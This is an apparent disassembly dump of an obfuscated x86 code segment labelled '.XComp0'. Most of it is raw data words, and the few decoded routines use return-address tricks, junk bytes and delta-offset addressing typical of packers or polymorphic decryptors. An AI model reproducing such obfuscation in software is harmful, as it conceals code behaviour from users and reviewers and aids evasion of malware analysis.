		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 924635C3h, 34FBFB60h, 0F58EC83h, 1486h, 0FE900h, 50490000h
		dd 0CDEFADB2h, 0B06103D6h, 0C92F4FF1h, 0FEDF819Ch, 2B7B87E0h
		dd 4C880FD8h, 66000001h, 7B9F88Bh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0BF2EC356h, 43D8BDC5h, 0BA99B560h, 118751E9h, 0C18361h
		dd 0C0DB58Bh, 0D93B05F9h, 109860Fh, 5F560000h, 0FE9h, 898F6C00h
		dd 0C79601C4h, 0C65EB8BDh, 3719E64h, 6AD98C66h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0B739C357h, 0F04C1F6h, 0A984h, 7E900h, 70480000h, 5E2BE477h
		dd 9195FF97h, 6605F913h, 3E88EE81h, 6AC32B5Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 6CE0C351h, 0E95A9FBDh, 0Eh, 5A250255h, 0F819C7F2h, 5CEA5CD5h
		dd 343D43F1h, 0F000008h, 5186h,	0BE800h, 14490000h, 347A839Ah
		dd 58804D60h, 91858964h, 5E05F91Ah, 6860Fh, 0BD8B0000h
		dd 5F91459h, 4AE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0A214911Ah, 435B533h
		dd 0BE6605F9h, 0C08B1DE2h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0C35646h, 8B6C4BE7h, 6AD88BC3h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 3B96C352h, 1B90704Bh, 85C715A0h, 5F90AE9h, 3AB6617Dh
		dd 11B5B58Bh, 0C08B05F9h, 715BD81h, 7D005F9h, 850F0000h
		dd 58h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h
		dd 0C5C35040h, 26FDB52Bh, 85FF05F9h, 5F90715h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5EC35747h, 0EFC26868h
		dd 9E9C368h, 2D000000h,	0C2AF0B4Fh, 0FA7384BCh,	715B5FFh
		dd 14E805F9h, 0C0000000h, 0A2CCB965h, 0E71D2278h, 0FE4B09DEh
		dd 0CE69C4B1h, 3600BB2h, 0F91AB9BDh, 95FF5F05h,	5F91AEDh
		dd 0C6C2BF66h, 52006A90h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 48DE44CAh, 0F51577Ch
		dd 8Fh,	605F5E00h, 17918D8Bh, 8D0905F9h, 5F91E01h, 61CABF0Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 90C35141h
		dd 0BD8BF18Bh, 5F911DDh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0E8C35343h, 0BDEC4E88h, 0EE91Fh, 4F960000h
		dd 871517FAh, 3528B2ADh, 2D1E06CEh, 27D18529h, 6A05F9h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 257F22C3h, 454EBE66h, 1F4D8589h, 0B50905F9h,	5F910B1h
		dd 1F2D9531h, 0BD8B05F9h, 5F903C1h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h
		dd 1Ch,	0F4C35545h, 0E787E3Eh, 724C3385h, 4FDB589h, 895605F9h
		dd 0F917659Dh, 13E85E05h, 24000000h, 0D7F128DEh, 0B109B408h
		dd 0B62CEBFDh, 6264CA30h, 5EF86278h, 0FFF880E9h, 0F98B66FFh
		dd 0D8CF8166h, 6AC18B1Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0D830C357h,	4335D27h
		dd 0BFE4B04Eh, 4758D53Fh, 4EBh,	0B58B0000h, 5F9319Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 83C35242h, 0B6A87B15h
		dd 8913DD84h, 0F926F18Dh, 0C1858D05h, 6A05F90Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 8DBDC353h, 50600813h, 4830F51h, 66000000h, 5E19BEBEh
		dd 0E9240489h, 5, 4E63BA2Bh, 6A006A95h,	3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7AA9C355h
		dd 858927F2h, 5F911EDh,	8DF5006Ah, 0FD5D7F85h, 0BE905h
		dd 5D0D0000h, 4B13ED1h,	0E2184FA4h, 5C08333h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 60C35646h, 0E6D7EF37h
		dd 21A87CEEh, 24048950h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 37C35343h, 8C165285h,	0AE8B310Eh, 0C00BF66h
		dd 8B0F006Ah, 0
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	edi
		call	sub_5B12C5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B12C5	proc near		; CODE XREF: .XComp0:005B12BDp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5B12C5	endp

; ---------------------------------------------------------------------------
		lodsb
		pusha
		mov	cx, dx
		mov	ebx, [ebp+5F92025h]
		popa
		call	dword ptr [ebp+5F913EDh]
		lea	ebx, [ebp+5FCE983h]
		mov	[ebp+5F918ADh],	edi
		mov	esi, [ebp+5F90A45h]
		call	ebx
		push	0
		push	edx
		call	sub_5B1306
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1306	proc near		; CODE XREF: .XComp0:005B12FEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5B1306	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		stc
		pusha
		xor	[ebp+5F90C41h],	edx
		jmp	loc_5B132B
; ---------------------------------------------------------------------------
		db 0CCh
		db 0CDh, 0E5h, 95h
		db 1Eh,	22h, 93h
; ---------------------------------------------------------------------------


loc_5B132B:				; CODE XREF: .XComp0:005B131Fj
		popa
		pusha
		mov	cx, di
		mov	edx, [ebp+5F90D1Dh]
		popa
		inc	dword ptr [ebp+5F9197Dh]
		push	0
		push	eax
		call	sub_5B1348
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1348	proc near		; CODE XREF: .XComp0:005B1340p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5B1348	endp

; ---------------------------------------------------------------------------
		dd 0EBC5E79Ah, 0BEABF1D4h, 0F504D7Ch, 18719589h, 0F28B05F9h
		dd 838E9h, 0E800h, 815D0000h, 0FD5D89EDh, 0FA8B6605h, 715BD81h
		dd 7D005F9h, 860F0000h,	190h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0F0C35242h,	1A9CDE8h, 0F91725BDh
		dd 0FB8B6605h, 25199D8Bh, 6A05F9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0B75034C3h, 7072DACh
		dd 0FA8B8181h, 100E381h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 95893EC3h, 5F92C89h
		dd 0BBF2CE81h, 49BE1918h, 0B6093AAh, 0C9850FDBh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 83C3C355h, 0FD5BBDBDh, 840F0005h,	36h, 1A81BD8Bh
		dd 0A5E905F9h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0BAF6C356h,	6FA7C00h
		dd 955A0682h, 7899589h,	85C705F9h, 5FD5BBDh, 1,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0FAC35242h, 0BF66D2FEh
		dd 0E9FCABAFh, 48h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 28C35343h, 0F1BB55E8h, 66B933E0h, 0E978B4BFh
		dd 0Ch,	5D24B3A7h, 4784D022h, 0C9373A1Dh, 5BBD85C7h, 5FDh
		dd 0BD230000h, 5F92DB1h, 25199D8Dh, 9F905F9h, 0F924699Dh
		dd 0FF238105h, 0E9FFFFFEh, 10h,	0B68E4D4Eh, 60E68112h
		dd 0BAD6D2CFh, 32A5360h, 6ADB8C66h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 4494C352h
		dd 0E31FB370h, 0B5C90613h, 0F04C3F6h, 3684h, 318D8900h
		dd 0FF05F922h, 0F9139195h, 53BF6605h, 48950B3h,	55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 8CA8019Eh, 0E9069C78h, 3E9h,	6E9h, 0DE0A5000h, 0E9F449F6h
		dd 9, 9E815A0Ah, 97818584h, 6A00B0B3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 79C3C350h
		dd 82AD57EAh, 0FA8B66DBh, 6A70E6h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0CEA425C3h, 4D82F747h
		dd 0C8C68166h, 0F71E4EEh, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0BA275FC3h, 2BF41CA7h
		dd 0F92A6DB5h, 13E805h,	39D30000h, 9E226BC1h, 0CD4D867h
		dd 0ABE2E03Ah, 8BED8EF2h, 19BD8BDAh, 5F05F907h,	6BAh, 0CE816600h
		dd 0C38BC64Bh, 2731B58Bh, 0E8C105F9h, 0BE904h, 0D7740000h
		dd 9BA46055h, 33E8C68Ah, 0E2F76621h, 0AF83BF66h, 2BF38B66h
		dd 0F1BD8BD8h, 9305F916h, 94BF6653h, 93505F26h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0EC35545h, 4AC6CC9Dh
		dd 5A856F6Ch, 715B5FFh,	6A05F9h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 4894CDC3h, 935E0FC2h
		dd 0FBBFF21h, 689h, 39858900h, 8B05F90Ch, 0F93491BDh, 0ED95FF05h
		dd 6A05F91Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 1F01C353h, 19EF8166h, 6A00B0FDh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0F5DC352h, 325DF423h, 8D29EECAh, 5F91679h
		dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 78C933C3h, 6A71E4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 9E929C3h, 30000000h
		dd 83DF0DE8h, 420D9DE9h, 0A39B503h, 613C05F9h, 1E7830Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 51E495C3h, 60C78195h, 0F042E06h, 0BD89D8B6h
		dd 5F90931h, 6BAh, 0DE800h, 0A13D0000h,	821C9553h, 0B4624834h
		dd 5F1E76BBh, 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8BA217C3h, 0F921E1B5h, 4E8C105h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 17C35242h
		dd 0D5FF3BDAh, 0F99D2909h, 6605F918h, 0B58BE2F7h, 5F92185h
		dd 0CC84F781h, 0D82B5DFEh, 58F88B66h, 24218D89h, 0D82B05F9h
		dd 12F880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 9A98B5C3h, 14D19531h, 7B905F9h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 833CC351h, 9D0100C1h, 5F90DADh
		dd 860FD93Bh, 0D9h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 2DC35040h, 8DA54DEFh,	178A0FF9h, 0E9000000h
		dd 12h,	69B1DD02h, 0AA53E051h, 95BFA3D2h, 177D8FA0h, 8C66ED6Eh
		dd 50006AD9h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0ABB45283h, 4C1F61Ch, 68840Fh, 85890000h
		dd 5F90639h, 139195FFh,	6A05F9h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 5BFE98C3h, 0C79B509h
		dd 0C32B05F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0EC35343h, 3D1A25C2h, 834h, 0C860Fh, 0BE660000h
		dd 0AE97EAFh, 66000000h, 0C08BF08Bh, 0E3FEA7BEh, 8BC38B6Bh
		dd 0B98D89D8h, 0C705F910h, 0F92B2585h, 0D5497505h, 56006A71h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0C351CA17h, 6AC08Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 1E95E5C3h, 0E9059322h, 10h, 112D9EE8h
		dd 3F0A331Bh, 0A5408164h, 4104BC42h, 715BD81h, 7D005F9h
		dd 850F0000h, 6Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 42C35545h, 289700DBh,	0CE83160h, 89000000h
		dd 0B1621FACh, 0DC388D00h, 0F9F9669h, 682h, 2DB58B00h
		dd 5F05F928h, 71585FFh,	6A05F9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 4CCCE3C3h, 32C59D89h
		dd 0BE6605F9h, 0B5FF0C49h, 5F90715h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0F6C35242h,	5213AF42h, 0BFC56A64h
		dd 5D28D2FEh, 4805BE66h, 1AED95FFh, 11BF05F9h, 903DF8CDh
		dd 0F7E78166h, 56006ADDh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 800F9E52h, 15h, 0DE9h
		dd 4D615600h, 958AE8F7h, 0D84B634Dh, 8B66D878h,	0D1BD03F9h
		dd 8B05F90Fh, 0F92759B5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 39B7531Bh
		dd 48A7B6DDh, 0D6812E1Fh, 70B18B89h, 66F18B66h,	9CF84BEh
		dd 0F9171D8Dh, 0F9B58905h, 8905F912h, 0F934118Dh, 0FE905h
		dd 0C9DD0000h, 0C63CA572h, 0C932823Ah, 340AF39h, 719D01ABh
		dd 6A05F90Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h
		dd 45000000h, 3C49C355h, 6A14020Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0BACEC356h
		dd 8D4CFBBEh, 9E977h, 0FE540000h, 79356584h, 890AC5E4h
		dd 0F931B995h, 1390BE05h, 0CEE957E6h, 81FFFFF7h, 0EA28A8E6h
		dd 0FC18B34h, 0C84h, 7E900h, 8C540000h,	0A3E72844h, 4EBC2h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0C3B7C357h, 0FE80DDEh,	0CE000000h
		dd 31C13FCDh, 61DFFBF4h, 0D8111874h, 0BD2BF3CEh, 5F91F31h
		dd 9E95Fh, 0F900000h, 8ADC43BCh, 0F83901F1h, 0DC1858Dh
		dd 6A05F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 35C7DEC3h, 0F80B363h, 6690F8B7h, 50F058BFh
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0BF0F51BDh, 6A5FFEh, 0E6816653h,	6A5E9748h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 2858D30h, 6A05FD68h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 6EF5C351h
		dd 9F6D4523h, 81BDA9CAh, 22DBBFE6h, 5C08313h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0BBC35343h, 8DEABEF7h
		dd 0BD232C07h, 5F92DE1h, 52505090h, 0FFE8B66h, 0E9525031h
		dd 10h,	87C4E18h, 168EEDA3h, 9DADE8D0h,	13F2CEA9h, 0BF66310Fh
		dd 585AFFBDh, 6A90585Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0FA8C352h, 68Ah, 59958900h
		dd 8B05F914h, 0F91EC1BDh, 6A006A05h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 80ECC350h
		dd 0B58B4481h, 5F92DA5h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 74251CC3h, 9BBC073Ch
		dd 0CED68166h, 6800F86h, 89000000h, 0F91469BDh,	0ED95FF05h
		dd 0E905F913h, 14h, 806B0F15h, 716A58D6h, 4733C637h, 63FC1642h
		dd 0E30EEEA8h, 0E9839D8Dh, 0B58B05FCh, 5F9116Dh, 6AD3FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 7CB299C3h, 8BF20C8Ch, 0F92DD9BDh, 7D85FF05h,	0E905F919h
		dd 823h, 0E8h, 0ED815D00h, 5FD680Ch, 0BD815E50h, 5F90715h
		dd 7D0h, 19D860Fh, 9BF0000h, 666963BBh,	8B98CDBEh, 0F910D59Dh
		dd 0FA8B6605h, 100E381h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8166B6C3h, 0BA15BF7h
		dd 0BC850FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0CE12C356h,	0CA2BC0A5h
		dd 0BD839E6Dh, 5FD65D2h, 2D840F00h, 1000000h, 0F92A55BDh
		dd 0BAE905h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 8B5243C3h, 0F18B5EFEh, 65D285C7h
		dd 105FDh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 839D4FC3h, 8E927h, 6C950000h, 8CF8EA20h
		dd 5DE951A8h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0F2D5C350h,	4DF79888h
		dd 0C7D876BDh, 0FD65D285h, 5, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 2A493489h
		dd 9BAF1A11h, 0F598589h, 9D0905F9h, 5F90719h, 10D59D8Dh
		dd 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 77ED22C3h, 0FEFF2381h, 6AFFFFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 4EE912C3h
		dd 0DE6E3643h, 158A0Fh,	10E90000h, 9000000h, 90A9E7FEh
		dd 0F572C3Ah, 0C43CC39Dh, 662C298Ah, 6ADB8Ch, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0DB1458C3h
		dd 0F04C3F6h, 4084h, 0F0B70F00h, 139195FFh, 6A05F9h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0BC4E58C3h, 85298410h, 5F92605h, 2800F90h, 8B000000h
		dd 0F9050F3h, 8Ch, 40DE900h, 8B570000h,	0B05EF9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0ECC35646h, 0C9CEBE66h
		dd 6A70E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 665447C3h, 5F20DF81h, 0EE8171E4h,	6888FBF6h
		dd 0BAD8B60Fh, 6, 8BFABF0Fh, 52006AC3h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0D7AAE69Bh
		dd 7FA85A3Bh, 45BD8B6Bh, 8905F904h, 0F9010195h,	4E8C105h
		dd 0F558529h, 0BD8B05F9h, 5F90A55h, 89E2F766h, 0F91061BDh
		dd 6AD82B05h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 7E2CC352h, 0BE850h, 0CEE00000h
		dd 0E7226ACBh, 37E6B9Dh, 61605689h, 1C895F5Fh, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0FA7384BCh, 61BE6673h, 0E98D898Ah, 0FF05F920h, 0F90715B5h
		dd 8D0F6005h, 6, 890Fh,	0FF610000h, 0F91AED95h,	52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0D916F994h, 6A00B0ACh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 7AE1C351h, 6A70E6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 275666C3h, 8E5F40FBh, 5D858930h, 0E405F931h,	55006A71h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 1492D253h, 0F7816655h, 613C9A98h, 251830Fh, 0B60F0000h
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 89BA1877h, 0F92A999Dh, 6BA05h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0E99E27C3h, 0Ch, 0D273DC5Ah,	0A5D4CFF2h, 9631936Eh
		dd 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0DFE6FC3h, 89734DA5h, 0F90DD1BDh,	4E8C105h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 37C35747h
		dd 35BF66F4h, 11B53197h, 6605F920h, 0BD8BE2F7h,	5F91E09h
		dd 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0CD7CA9C3h, 58FC6515h, 8BD328A0h,	0F9277DB5h
		dd 0B58B5805h, 5F911EDh, 880FD82Bh, 15Fh, 7B9h,	29958900h
		dd 8305F926h, 9D0900C1h, 5F9155Dh, 860FD93Bh, 143h, 519D8960h
		dd 8B05F92Ah, 0F90DC5BDh, 8C666105h, 57006AD9h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0B58B5D1Bh
		dd 5F93445h, 0F04C1F6h,	0CB84h,	0C59D2900h, 0FF05F908h
		dd 0F9139195h, 68B0F05h, 1000000h, 0F913DDB5h, 6A5B05h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 6EFB85C3h, 8C0FBB09h, 18h, 13E9h, 38FEA000h,	948C84B7h
		dd 5D3CA49h, 8DE953F5h,	14389587h, 0B52BC32Bh, 5F93331h
		dd 3DFBBF0Fh, 834h, 5E860Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 665DABC3h
		dd 9E9FB8Bh, 1E000000h,	0F43CD313h, 76276B84h, 66E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0B55D49C1h, 1919B58Bh, 958905F9h, 5F9171Dh, 6AC08Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 935010C3h, 1EFD6233h, 0E5B58B56h, 5F05F908h,	6E8h, 0EE33BF00h
		dd 0F87B0A7h, 8B5EFFBFh, 0C7D88BC3h, 0F9251985h, 0A7F5BD05h
		dd 0C08BF574h, 176DB58Bh, 0BD8105F9h, 5F90715h,	7D0h, 1D850Fh
		dd 7E90000h, 91000000h,	7F2F957Ch, 85FF42E8h, 5F90715h
		dd 6E9h, 0AAEEEC00h, 0FF7B2BAFh, 0F90715B5h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 59B350Fh, 816604CDh,	0FFDFDDD6h, 0F91AED95h,	52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0D5618EBEh, 7693E59Bh, 85894226h, 5F917D9h, 12E8h, 486B7700h
		dd 1FA41463h, 0BAD566AAh, 0D6BF4E6Dh, 0FCB20D0Dh, 6A905Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0B69B70C3h, 0F781B8A5h, 1F9E818h, 3B9BD8Bh, 6A05F9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 85F3AFC3h, 8D89DB06h, 5F912D9h, 0AA14BF66h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0ECC35646h, 85FEAB1h
		dd 9589D88Ch, 5F911B5h,	29599589h, 6A05F9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0B79FDC3h
		dd 0F9257DB5h, 890F5305h, 6, 13B9BD8Bh,	8B5E05F9h, 0F900D1B5h
		dd 0DDBD3305h, 8905F926h, 0F9346995h, 6840F05h,	9000000h
		dd 0F900F98Dh, 1DB58905h, 6A05F911h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 7484C356h
		dd 81F2B70Fh, 302C36D7h, 53006A48h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0CDDBD521h, 0FA8BD88Ah
		dd 0FFF7E7E9h, 88BF66FFh, 0D9BD8BFEh, 6005F91Fh, 10E9h
		dd 0EBDD8C00h, 0BCA62A4Ch, 1F546308h, 5601845Ah, 0FFFEB9D8h
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0AC1632C3h, 6C9B5602h, 312313AEh,	0F9162D8Dh
		dd 798D2105h, 0F05F91Eh, 86h, 0B98D2100h, 6A05F90Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8B1FC357h, 0F9057585h, 199D8905h, 8B05F919h,	0F91E798Dh
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0E168DD23h, 526A19F9h, 7F1858Bh,	835E05F9h
		dd 850F01E1h, 6, 8DD8589h, 8D8B05F9h, 5F90CB9h,	0E183F88Bh
		dd 22850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 7E72C350h, 0D4E54244h
		dd 6A6061DBh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 995CC353h, 81F2B8E1h, 0CABF02C3h
		dd 0FFFEB93Fh, 6AFFFFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 6666E7C3h, 8BC79ABEh, 0F907B985h
		dd 0A18D2105h, 8B05F90Fh, 0F921D5BDh, 0E98D2105h, 6A05F90Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 59FCC357h, 3860F68h, 66000000h, 8D8BC18Bh
		dd 5F90FA1h, 6E9h, 871B0500h, 83911183h, 850F01E1h, 28h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 98C35343h
		dd 80B810E0h, 8D8967E2h, 5F9349Dh, 0AE98D8Bh, 6A05F9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 5BB98AC3h, 9284FDE0h, 0A21958Bh, 0E18305F9h,	3F850F01h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0E5EEC356h, 0FFDAD48h,	0DE8h
		dd 3DD25400h, 56AAAF43h, 2BA125B3h, 0DB81A925h,	29EA1C7h
		dd 0AF65BB58h, 60617C75h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 10C35747h, 1811D81Ah,	3149BD8Bh, 0FEB905F9h
		dd 6AFFFFFFh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0A767C356h, 0B4EBE563h, 0A5BF6657h
		dd 8B665ED7h, 0D58D21C1h, 6605F910h, 447EF81h, 2B258D21h
		dd 0EF8105F9h, 2D36BC69h, 11E9h, 0F6CEA00h, 0CD013D58h
		dd 0B9FCD4C8h, 0AA065255h, 8D8B6FF7h, 5F910D5h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 2AC35343h, 0E18352B3h
